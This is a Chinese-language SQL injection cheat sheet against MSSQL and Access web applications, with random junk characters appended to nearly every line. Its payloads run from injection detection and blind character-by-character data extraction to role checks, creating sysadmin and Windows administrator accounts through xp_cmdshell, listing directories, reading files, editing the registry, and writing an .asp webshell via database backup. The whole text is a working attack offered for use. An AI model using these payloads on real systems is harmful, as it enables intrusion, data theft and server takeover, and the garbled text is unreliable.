1.判断是否有注入;and 1=1 ;and 1=2 3'2}F%!Mv
2.初步判断是否是mssql ;and user>0 `24:Eg6r
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3.注入参数是字符'and [查询条件] and ''=' <`m.Vbvm"
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' g@"6QAP
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5.判断数据库系统 PZl(S}VY
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;and (select count(*) from sysobjects)>0 mssql ]QU52R@M
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;and (select count(*) from msysobjects)>0 access s^{j
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 {1YT a:evl
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 BmUzsfD
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 LGCL*Qbsg
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9.(1)猜字段的ascii值(access) @;,O V&XYn
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 @]#+`pZ4A
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(2)猜字段的ascii值(mssql) S8vmXlD
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 l7J_s?!j
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10.测试权限结构(mssql) I}v'n{5(
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- IL:"]`f*
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- \a]\jZb
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- #CQ>d8&
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- khv! \^&DD
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- BK d(
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 5!ReW39c;
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;and 1=(select IS_MEMBER('db_owner'));-- 4l`gAE$
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11.添加mssql和系统的帐户 Ju9v n44
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;exec master.dbo.sp_addlogin username;-- S8)awTA9
;exec master.dbo.sp_password null,username,password;-- .RWBn~b#I
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- &s <
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;exec master.dbo.xp_cmdshell 'net user username password %-'U9e KN
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- L2h+[f
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- P*T)/A%4
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
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12.(1)遍历目录 Go67VqJr
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;create table dirs(paths varchar(100), id int) L
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;insert dirs exec master.dbo.xp_dirtree 'c:\' j{Fo 6##
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;and (select top 1 paths from dirs)>0 si;]C~X*
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) I.<#t(io
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(2)遍历目录 M:SxAo-D2
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ?hu 9c
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 O&s6blD11
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 IyuT=A~Ki
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 4>E2G:
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 C(P$,;6
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13.mssql中的存储过程 m&%b;%,J
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xp_regenumvalues 注册表根键, 子键 s?E: ]
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 >?'FH +2K
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xp_regread 根键,子键,键值名 :jX~]1hpmA
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;exec xp_regread .-ABo]hf
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 @ih}x
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xp_regwrite 根键,子键, 值名, 值类型, 值 ezvaAhd{
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 z>:7}=H0
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 t_rDXhM
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xp_regdeletevalue 根键,子键,值名 4Dia#1$:J
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ,')bO*Ng
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 b9N4Gr
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14.mssql的backup创建webshell \G@6jn1G(
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use model "/?qT;<$)
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create table cmd(str image); | dwxea
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insert into cmd(str) values (''); 1znV>PO!
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backup database model to disk='c:\l.asp'; R6XMBYK^
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15.mssql内置函数 h$k3MhYDes
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;and (select @@version)>0 获得Windows的版本号 ha=z<Q
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa q4iD59yd)S
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;and (select user_name())>0 爆当前系统的连接用户 I)6Sbt JV^
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;and (select db_name())>0 得到当前连接的数据库 K, 5ax@
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16.简洁的webshell 1qe^rz|
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use model 0Zh
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create table cmd(str image); ^&H=dYcV>/
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insert into cmd(str) values (''); R?~h7 d
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backup database model to disk='g:\wwwtest\l.asp';